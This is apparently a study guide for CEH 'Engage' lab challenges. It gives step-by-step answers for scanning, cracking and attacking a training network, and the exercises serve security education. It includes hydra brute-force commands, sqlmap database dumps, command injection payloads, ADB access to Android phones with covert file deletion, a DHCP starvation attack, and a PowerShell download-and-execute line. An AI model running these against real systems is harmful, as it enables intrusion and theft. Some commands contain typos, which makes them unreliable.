# CEH ENGAGE 1

Malware - detect it easy , ida and Ollydbg

- Identify open ports

    1. `nmap -sS -sV 192.168.1.10`

- Identify geolocation

    1. Go to `https://www.ipvoid.com/ip-geolocation`
    2. Enter the domain name

- Check for Dns Zone Transfer

    1. `dig www.certifiedhacker.com axfr`

- Identify the number of live machines in 172.16.0.0/24 subnet

    1. `nmap -sn -A -T5 172.16.0.0/24`

- Perform a host discovery scanning and identify the NetBIOS name of the host at 10.10.10.25.

    1. `nmap -sV -p 137.138,139,445 -T4 10.10.10.25`

- Perform extensive scan of the target network and identify the FQDN of the Domain Controller.

    1. `nmap -sC ip --top-ports=20`

- What is the DNS Computer Name of the Domain Controller?

    1. `nmap -sV -A -T5 10.10.10.25`

- While performing a security assessment against the CEHORG network, you came to know that one machine in the network is running OpenSSH and is vulnerable. Identify the version of the OpenSSH running on the machine. Note: Target network 192.168.0.0/24.

    1. `nmap -p 22 -sV 192.168.0.0/24`

- During a security assessment, it was found that a server was hosting a website that was susceptible to blind SQL injection attacks. Further investigation revealed that the underlying database management system of the site was MySQL. Determine the machine OS that hosted the database.

    1. `nmap -sV -T5 192.168.0.0/24`
    2. `sudo nmap -sV -O -A -p 3306 192.168.55`

- Perform LDAP enumeration on the target network and find out how many user accounts are associated with the domain.

    1. `ldapsearch -x -h 10.10.10.25 -b "DC=CEHORG,DC=com" "objectclass=user" cn`

- Perform an LDAP Search on the Domain Controller machine and find out the latest version of the LDAP protocol.

    1. `ldapsearch -h 10.10.10.25 -x -s base namingcontexts`

- What is the IP address of the machine that has NFS service enabled? Note: Target network 192.168.0.0/24.

    1. `nmap -p 2049 192.168.0.0/24`

- Perform a DNS enumeration on www.certifiedhacker.com (http://www.certifiedhacker.com) and find out the name servers used by the domain.

    1. `nslookup`

    > *set type=ns www.certifiedhacker.com*

- Find the IP address of the machine running SMTP service on the 192.168.0.0/24 network.

    1. `nmap -p 25 192.168.0.0/24`

- Perform an SMB Enumeration on 192.168.0.51 and check whether the Message signing feature is enabled or disabled. Give your response as Yes/No.

    1. `nmap -p 445 -A -T5 -sV 192.168.0.51`

- Perform a vulnerability research on CVE-2022-30171 and find out the base score and impact of the vulnerability.

    1. Google the CVE

- Perform vulnerability scanning for the domain controller using OpenVAS and identify the number of vulnerabilities with severity level as "medium".

    1. `sudo gvm-check-setup`
    2. `sudo gvm-start`
    3. Go to `Scans > Tasks`
    4. Click `New Task`
    5. Set:
        1. `Name: "DC"`
        2. `Target: 10.10.10.25`
    6. Save and Start the scan

# CEH ENGAGE 2

- You are assigned a task to crack the NTLM password hashes captured by the internal security team. The password hash has been stored in the Documents folder of the Parrot Security console machine. What is the password of user James?

    1. Crack using `hashes.com` or
    2. Use `john --format=NT hashes.txt`

- You have been given a task to audit the passwords of a server present in CEHORG network. Find out the password of the user Adam and submit it. (Note: Use Administrator/ CSCPa$$ when asked for credentials).

    1. Use: Lophtcrack

        - `L0phtCrack -> Password Auditing wizard -> Next -> Next -> A Remote machine -> Remote Host(ip) -> Use specific user credentials -> Username (Administrator), Password (given) -> Next -> ~~~ -> finish` OR
    2. Use nmap to find target
        - `nmap -sV -A 10.10.10.*`
    3. Use hydra to bruteforce adam
        - `hydra -l "Adam" -P /home/attacker/Desktop/pass.txt 10.10.10.25 rdp`

- An employee in your organization is suspected of sending important information to an accomplice outside the organization. The incident response team has intercepted some files from the employee's system that they believe have hidden information. You are asked to investigate a file named Confidential.txt and extract hidden information. Find out the information hidden in the file. Note: The Confidential.txt file is located at C:\Users\Admin\Documents in EH Workstation – 2 machine.

    1. Download snow from `https://darkside.com.au/snow/` and extract for windows.
    2. ./SNOW.EXE -C confidential.txt

- The incident response team has intercepted an image file from a communication that is supposed to have just text. You are asked to investigate the file and check if it contains any hidden information. Find out the information hidden in the file. Note: The vacation.bmp file is located at C:\Users\Admin\Documents in EH Workstation – 2 machine.

    1. Download openstego `Setup-OpenStego-0.8.6.exe` from `https://github.com/syvaidya/openstego/releases/tag/openstego-0.8.6`
    2. Go to Extract Data Section
    3. Add the image which data to be extracted in first row
    4. Add folder location in second row where to get extracted file

- A disgruntled employee in CEHORG has used the Covert_TCP utility to share a secret message with another user in the CEHORG network. Covert_TCP manipulates the TCP/IP header of the data packets to send a file one byte at a time from any host to a destination. It can be used to hide the data inside IP header fields. The employee used the IP ID field to hide the message. The network capture file “Capture.pcapng” has been retained in the “C:\Users\Administrator\Documents” directory of the “EH Workstation – 2” machine. Analyze the session to get the message that was transmitted.

    1. Open .pcap file
    2. `ip.addr==<suspicious-ip>`
    3. Check each packet one by one for hidden message

- You are a malware analyst working for CEHORG. During your assessment within your organisation's network, you found a malware face.exe. The malware is extracted and placed at C:\Users\Admin\Documents in the EH Workstation – 2 machine. Analyze the malware and find out the File pos for KERNEL32.dll text. (Hint: exclude zeros.)

    1. Download bintext from `https://majorgeeks.com/files/details/bintext.html`
    2. Add file in bintext and search for string manually OR
    3. Open `manalyzer.org` and open the face.exe file
    4. Go to `.text` in section tab.
    5. Remember the value of `PointerToRawData`
    6. Now go to `hexed.it` and open face.exe
    7. Search for `KERNEL32.dll` in search tab at left
    8. Do text encoding to UTF-8

9. Tick the List all occurences and add the `PointerToRawData` value to Start
10. Now Start the Search Now and it founds the values and prints it at Mid Left.

- Analyze an ELF executable (Sample-ELF) file placed at C:\Users\Admin\Documents in the EH Workstation – 2 machines to determine the CPU Architecture it was built for.

    1. First install choco `Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))`
    2. Then install file using choco
        - `choco install file`
    3. `file sample.elf`
    4. now user the aarch value as answer if not capital write as capital. OR
    5. Go to `https://hexed.it` and press `Ctrl+G`
    6. Now search for `0x12` and press enter
    7. Check the EM value corresponding the bit value found in above step 03 00 | `EM_386` | Intel x86 (32-bit) | X86__32 3E 00 | `EM_X86_64` | AMD/Intel x86-64 (64-bit) | X86__64 28 00 | `EM_ARM`| ARM (32-bit) | ARM__32 B7 00 | `EM_AARCH64` | ARM64 / AArch64 (64-bit ARM) | ARM__64 08 00 | `EM_MIPS` | MIPS I Architecture (32-bit) | MIPS_32 14 00 | `EM_PPC` | PowerPC | PPC__32 15 00 | `EM_PPC64` | PowerPC 64 | PPC__64 02 00 | `EM_SPARC` | SPARC (32-bit) | SPARC32 2A 00 | `EM_SH` | SuperH | SH___32

- Perform windows service monitoring and find out the service type associated with display name "afunix".

    1. Type this in command prompt `sc qc afunix`

- Use Yersinia on the “EH Workstation – 1” (Parrot Security) machine to perform the DHCP starvation attack. Analyze the network traffic generated during the attack and find the Transaction ID of the DHCP Discover packets.

    1. Open wireshark on eth0
    2. Run Yersinia using `sudo yersinia -I`
    3. After entering yersinia `press g -> select DHCP -> enter -> press x -> press 1 (sending discover packet)`
    4. Go to wireshark then `click any DHCP Packet -> Go to Dynamick Host Configuration Protocol -> Get the transaction ID`

- CEHORG suspects a possible sniffing attack on a machine in its network. The organization has retained the network traffic data for the session and stored it in the Documents folder in EH Workstation – 2 (Windows 11) machine as sniffsession.pcap. You have been assigned a task to analyze and find out the protocol used for sniffing on its network.

    1. Open file in wireshark
    2. Use `arp` as filter
    3. now see if there is any traffic with arp
    4. Submit the flag as ARP.

- As an ethical hacker, you are tasked to analyze the traffic capture file webtraffic.pcapng. Find out the packet's id that uses ICMP protocol to communicate. Note: The webtraffic.pcapng file is located at C:\Users\Administrator\Documents\ in the Documents folder on EH Workstation – 2 (Windows 11) machine.

    1. Filter the `icmp` packet

2. Now `select an icmp packet -> go on icmp tab -> get the identifier BE id written in ()`

- CEHORG has found that one of its web application movies.cehorg.com running on its network is leaking credentials in plain text. You have been assigned a task of analysing the movies.pcap file and find out the leaked credentials. Note: The movies.pcapng file is located at C:\Users\Administrator\Documents\ in the Documents folder on EH Workstation – 2 (Windows 11) machine. Make a note of the credentials obtained in this flag, it will be used in the Part 3 of CEH Skill Check.

    1. Open file in wireshark
    2. Use filter `http.request.method==POST`
    3. Open the post message
    4. Go to `http form url encoded tab -> get the credentials`

- An attacker has created a custom UDP packet and sent it to one of the machines in the CEHORG. You have been given a task to study the *CustomUDP.pcapng* file and find the data size of the UDP packet (in bytes). Note: The CustomUDP.pcapng file is located at C:\Users\Administrator\Documents\ in the Documents folder on EH Workstation – 2 (Windows 11) machine.

    1. Open file in wireshark
    2. filter udp
    3. Select any packet and check bytes of data in data tab.

- A denial-of-service attack has been launched on a target machine in the CEHORG network. A network session file "DoS.pcapng" has been captured and stored in the Documents folder of the EH Workstation - 2 machine. Find the IP address of the attacker's machine.

    1. Open file in wireshark
    2. Go to `Statistics -> Converstions -> IPv4`
    3. Get the ip address with most packets

- CEHORG hosts a datacenter for its bussiness clients. While analyzing the network traffic it was observed that there was a huge surge of incoming traffic from multiple sources. You are given a task to analyze and study the DDoS.pcap file. The captured network session (DDoS.pcapng) is stored in the Documents folder of the EH Workstation -2 machine. Determine the number of machines that were used to initiate the attack.

    1. 
        1. Open file in wireshark
    2. Go to `Statistics -> Converstions -> IPv4`
    3. Get the number of machines that have sended packets

# CEH ENGAGE 3

- CEHORG suspects of a possible session hijacking attack on a machine in its network. The organisation has retained the network traffic data for the session at C:\Users\Admin\Documents in the EH Workstation – 2 as sniffsession.pcap. You have been assigned a task to perform an analysis and find out the protocol that has been used for sniffing on its network.

    1. Open file in Wireshark
    2. check for `ARP` using filters

- Perform an HTTP-recon on www.certifiedhacker.com (http://www.certifiedhacker.com) and find out the version of Nginx used by the web server.

    1. Use `Wappalyzer` to find nginx version OR
    2. Use `whatweb www.certifiedhacker.com`

- An FTP site is hosted on a machine in the CEHORG network. Crack the FTP credentials, obtain the “flag.txt” file and determine the content in the file.

    1. Scan all internal network for FTP
        - `nmap -p 21 172.16.0.0/24`
        - `nmap -p 21 10.10.10.0/24`
        - `nmap -p 21 192.168.0.0/24`
    2. Use hydra to bruteforce all internal networks
        - `hydra -L Username.txt -P Password.txt 10.10.1.11 ftp`
        - `hydra -L Username.txt -P Password.txt 172.16.0.12 ftp`
    3. Got the passwords for 172.16.0.12 and 10.10.1.11 failed
    4. Now login to 172.16.0.12 and use `cd` to find file flag.txt
    5. After reaching the files directory use this to download it in your systeam
        - `get flag.tx`
    6. Now do `cat flag.txt` in your own machine to see file content

- Perform Banner grabbing on the web application movies.cehorg.com and find out the ETag of the respective target machine.

    1. `telnet movies.cehorg.com 80`
    2. Add values
        - `HEAD / HTTP/1.1`
        - `Host: movies.cehorh.com`

- Identify the Content Management System used by www.cehorg.com (http://www.cehorg.com).

    1. Use `whatweb www.cehorg.com`
    2. Search for strings like WordPress.

- Perform web application reconnaissance on movies.cehorg.com and find out the HTTP server used by the web application.

    1. Use `whatweb movies.cehorg.com`

- Perform Web Crawling on the web application movies.cehorg.com and identify the number of live png files in images folder.

    1. Use `curl http://movies.cehorg.com | grep .png | wc -l` OR
    2. Open OWASPZap in linux
    3. Do automatic scan on `movies.cehorg.com`
    4. Go to `Sites -> http://www.movies.cehorg.com -> images`
    5. Calculate the png images

- Identify the load balancing service used by eccouncil.org.

1. `lbd eccouncil.org`

- Perform a bruteforce attack on www.cehorg.com (http://www.cehorg.com) and find the password of user adam.

1. `wpscan --url http://movies.cehorg.com -U adam -P passwords.txt`

- Perform parameter tampering on movies.cehorg.com and find out the user for id 1003.

1. Login with given credentials
2. Go to `view profile section`.
3. Change the id parameter to 1003.

- Perform a SQL Injection attack on movies.cehorg.com and find out the number of users available in the database. Use Jason/welcome as login credentials.

1. `sqlmap -u http://movies.cehorg.com/viewprofile.aspx?id=1 --cookie="mscope=Xf4nda2RM2w=" --dbs -batch`
    - enumerates database name
2. `sqlmap -u http://movies.cehorg.com/viewprofile.aspx?id=1 --cookie="mscope=Xf4nda2RM2w=" -D moviescope --tables -batch`
    - enumerates all tables
3. `sqlmap -u http://movies.cehorg.com/viewprofile.aspx?id=1 --cookie="mscope=Xf4nda2RM2w=" -D moviescope -T User_login --dump -batch`
    - dumps all details

- Perform XSS vulnerability test on www.cehorg.com (http://www.cehorg.com) and identify whether the application is vulnerable to attack or not.

1. Download from `https://github.com/pwn0sec/PwnXSS`
2. `python3 pwnxss.py -u http://www.cehorg.com`

- A file named Hash.txt has been uploaded through DVWA (http://10.10.10.25:8080/DVWA (http://10.10.10.25:8080/DVWA)). The file is located in the directory mentioned below. Access the file and crack the MD5 hash to reveal the original message; enter the content after cracking the hash. You can log into the DVWA using the following credentials. Note: Username- admin; Password- password Path: C:\wamp64\www\DVWA\hackable\uploads\Hash.txt Hint: Use “type” command to view the file. Use the following link to decrypt the hash- https://hashes.com/en/decrypt/hash (https://hashes.com/en/decrypt/hash)

1. Go to `http://10.10.10.25:8080/DVWA` and make the security low.
2. Then go to command injection tab
3. Write this payload
    - `127.0.0.1 && type C:\wamp64\www\DVWA\hackable\uploads\Hash.txt`
4. This give a has crack it using `hashes.com`

- Perform command injection attack on 10.10.10.25 and find out how many user accounts are registered with the machine. Note: Exclude admin/Guest user

1. Go to command injection tab
2. Write this payload
    - `127.0.0.1 && net user`

# CEH ENGAGE 4

- The mobile device of an employee in CEHORG has been hacked by the hacker to perform DoS attack on one of the server in company network. You are assigned to analyse "Andro.pcapng" located in Documents directory of EH workstation-2 and identify the severity level of the attack. (Note: perform deep down Expert Info analysis).

    1. Open file in Wireshark
    2. Open `Statistics -> Conversations` and see the packet count in IPv4.
    3. Open `Analyze -> Expert Information` and see Warning message.

- An ex-employee of CEHORG is suspected to be performing insider attack. You are assigned a task to attain KEYCODE-75 used in the employees' mobile phone. Note: use option p in PhoneSploit for next page

    1. Search for devices with 5555 open port
        - `nmap -p 5555 --open -sV 172.16.0.0/24`
    2. Go to phonesploit and open it using python
    3. As the tool opens give ip address of the device
    4. Use `24` to get the keycode
    5. Scroll down to 75 keycode

- An employee in CEHORG has secretly acquired Confidential access ID through an application from the company. He has saved this information on the Downloads folder of his Android mobile phone. You have been assigned a task as an ethical hacker to access the file and delete it covertly. Enter the account information present in the file. Note: Only provide the numeric values in the answer field.

    1. Connect to adb
        - `adb connect 172.16.0.21:5555`
    2. Get the adb shell
        - `adb shell`
    3. Find the directory for file
        - `cd storage/self/primary/Download/`
    4. Get the data from the file in Downloads and delete it

- An attacker has hacked one of the employees android device in CEHORG and initiated LOIC attack from the device. You are an ethical hacker who had obtained a screenshot of the attack using a background application. Obtain the screenshot of the attack using PhoneSploit from the attacked mobile device and determine the targeted machine IP along with send method.

    1. Connect to adb
        - `adb connect 172.16.0.21:5555`
    2. Get adb shell
        - `abd shell`
    3. Go to `sdcard -> DCIM`
    4. There is the file get its pwd and copy it
        - `pwd`
    5. Go to Phonesploit and connect to target
    6. Use mode 9 to download the folder and paste the pwd to download it

7. Open the folder and get the png file

- An attacker installed a malicious mobile application 'AntiMalwarescanner.apk' on the victims android device which is located in EH workstation-2 documents folder. You are assigned a task to perform security audit on the mobile application and find out whether the application using permission to Read-call-logs.

    1. Go to Virustotal
    2. Upload the file
    3. Go to `Details Section -> Permissions`
    4. Look for permissions related Read-call-logs OR
    5. Go to `https://sisik.eu/apk-tool`
    6. upload File
    7. Go to `Requested permissions section`
    8. Look for permissions related Read-call-logs

- CEHORG hosts multiple IOT devices and sensors to manage its supply chain fleet. You are assinged a task to examine the file "IOT Traffic.pcapng" located in the Home directory of the root user in the "EH Workstation - 1" machine. Analyze the packet and find the topic of the message sent to the sensor.

    1. Open the file in wireshark
    2. Filter with `mqtt` and search for any `Publish Message`
    3. Get the Topic of the Message from `MQ Telementary Transport Protocol Section`

- CEHORG hosts multiple IOT devices and network sensors to manage its IT-department. You are assigned a task to examine the file "NetworkNS_Traffic.pcapng" located in the Documents folder of the user in the "EH Workstation - 2" machine. Analyze the packet and find the alert message sent to the sensor.

    1. Open the file in wireshark
    2. Filter with `mqtt` and search for any `Publish Message`
    3. Get the Message from `MQ Telementary Transport Protocol Section`
    4. Check the value of it in hexamdecimal table

- You have received a folder named "Archive" from a vendor. You suspect that someone might have tampered with the files during transmission. The Original hashes of the files have been sent by the sender separately and are stored in a file named FileHashes.txt stored in the Document folder in the "EH Workstation – 2" machine. Your task is to check the integrity of the files by comparing the MD5 hashes. Compare the hash values and determine the file name that has been tampered with. Note: Exclude the file extension in the answer field. The answer is case-sensitive.

    1. Use `HasCalc` Tool to compare hashes

- An attacker has intruded into the CEHORG network with malicious intent. He has identified a vulnerability in a machine. He has encoded the machine's IP address and left it in the database. While auditing the database, the encoded file was identified by the database admin. Decode the EncodedFile.txt file in the Document folder in the "EH Workstation – 2" machine and enter the IP address as the answer. (Hint: Password to decode the file is Pa$$w0rd).

    1. Use `BCTextEncoder` to decrypt the file

- The Access code of an employee was stolen from the CEHORG database. The attacker has encrypted the file using the Advance Encryption Package. You have been assigned a task to decrypt the file; the organization has retained the cipher file *AccessCode.docx.aes* in the Document folder in the *EH Workstation – 2* machine. Determine the access code by

decrypting the file. Hint: Use *qwerty* as the decryption password. Note: Advanced Encryption Package is available at E:\CEH-Tools\CEHv12 Module 20 Cryptography\Cryptography Tools.

1. Open `Advance Encryption Package`
2. Search for the file and double click the file
3. now deselect `enter key as hex` and input the password

- A VeraCrypt volume file "secret" is stored on the Document folder in the "EH Workstation – 2" machine. You are an ethical hacker working with CEHORG; you have been tasked to decrypt the encrypted volume and determine the number of files stored in the volume.

    1. Open Veracrypt and Open the file
    2. Now mount it to any disk
    3. provide the given password

- An attacker had sent a file cryt-128-06encr.hex containing ransom file password, which is located in documents folder of EH-workstation-2. You are assigned a task to decrypt the file using cryp tool. Perform cryptanalysis, Identify the algorithm used for file encryption and hidden text. Note: check filename for key length and hex characters.